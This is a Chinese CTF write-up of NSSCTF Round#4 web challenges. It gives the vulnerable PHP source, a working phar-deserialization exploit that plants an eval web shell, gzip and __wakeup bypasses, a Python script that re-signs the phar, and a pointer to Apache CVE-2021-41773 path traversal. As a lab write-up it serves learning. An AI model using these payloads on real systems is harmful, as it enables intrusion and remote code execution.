NSSCTF Round#4 Web Writeup

等 ez_web (revenge) 出来才发现原来的 ez_web 直接读 /flag 就行…

ez_rce 一开始因为没装插件的原因一直想不出来 (被打)

1zweb

查询文件处可以读文件

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class LoveNss{
    public $ljt;
    public $dky;
    public $cmd;
    public function __construct(){
        $this->ljt="ljt";
        $this->dky="dky";
        phpinfo();
    }
    public function __destruct(){
        if($this->ljt==="Misc"&&$this->dky==="Re")
            eval($this->cmd);
    }
    public function __wakeup(){
        $this->ljt="Re";
        $this->dky="Misc";
    }
}
$file=$_POST['file'];
if(isset($_POST['file'])){
    echo file_get_contents($file);
}

upload.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_FILES["file"]["error"] > 0){
    echo "上传异常";
}
else{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
        $content=file_get_contents($_FILES["file"]["tmp_name"]);
        $pos = strpos($content, "__HALT_COMPILER();");
        if(gettype($pos)==="integer"){
            echo "ltj一眼就发现了phar";
        }else{
            if (file_exists("./upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " 文件已经存在";
            }else{
                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
                fwrite($myfile, $content);
                fclose($myfile);
                echo "上传成功 ./upload/".$_FILES["file"]["name"];
            }
        }
    }else{
        echo "dky不喜欢这个文件 .".$extension;
    }
}
?>

有一个类 LoveNSS, 想到了 phar 反序列化

这里也没啥 pop 链的, 直接改字段

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php

class LoveNss{
    public $ljt = "Misc";
    public $dky = "Re";
    public $cmd = 'eval($_REQUEST[1]);';

}

$o = new LoveNss();

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test"); 
$phar->stopBuffering();

?>

但是 upload.php 会检测文件中是否含有 __HALT_COMPILER(); 这个关键字

大小写绕过无效, phar 不解析

网上搜了一下发现 phar 绕过的新姿势

https://www.anquanke.com/post/id/240007

可以通过 tar gzip bzip2 的方式压缩 phar 文件, PHP 处理时会自动解压缩并且解析里面的 phar

同时这里存在 __wakeup, 可以改数字绕过

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行

Linux 下使用 gzip phar.phar 压缩, 改后缀为 png 上传

报错 broken signature

PHP 官方手册查了一下发现有签名校验

网上搜了好长时间都没结果… 然后想起来前几天的强网杯 easyweb 也是要绕过 __wakeup

于是换了个关键词在 Google 上搜了一会就出来了…

https://www.wangan.com/p/7fy78yfaa40486ed#easyweb

http://www.yongsheng.site/2022/05/14/phar/

贴一下改签的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from hashlib import sha1

file = open('phar.phar','rb+').read()

text = file[:-28]

last = file[-8:]

new_file = text + sha1(text).digest() + last

open('new.phar','wb').write(new_file)

本地运行后改后缀上传

上传成功

链接

1zweb (revenge)

和上面的一样基本没区别

index.php 略有改动

1
2
3
4
5
6
if(isset($_POST['file'])){
    if (preg_match("/flag/i", $file)) {
    	die("nonono");
    }
    echo file_get_contents($file);
}

md 看了才知道原来那题直接读 /flag 就行…

wp 同上

ez_rce

这题一开始没做出来, 原因是没装 Wappalyzer…

apache 2.4.49

存在一个路径穿越漏洞 CVE-2021-41773

https://www.cnblogs.com/RichardYg/p/16272797.html

目录遍历的 exp 测试失败, 命令执行 exp 测试成功

有一个 flag_is_here 文件夹

一共四层文件夹, 每一个文件夹都是 0-9

明显需要爆破一下

Attack type 设置为 Cluster bomb

这样一共就是 10*10*10*10 的 payload

得到 flag

0%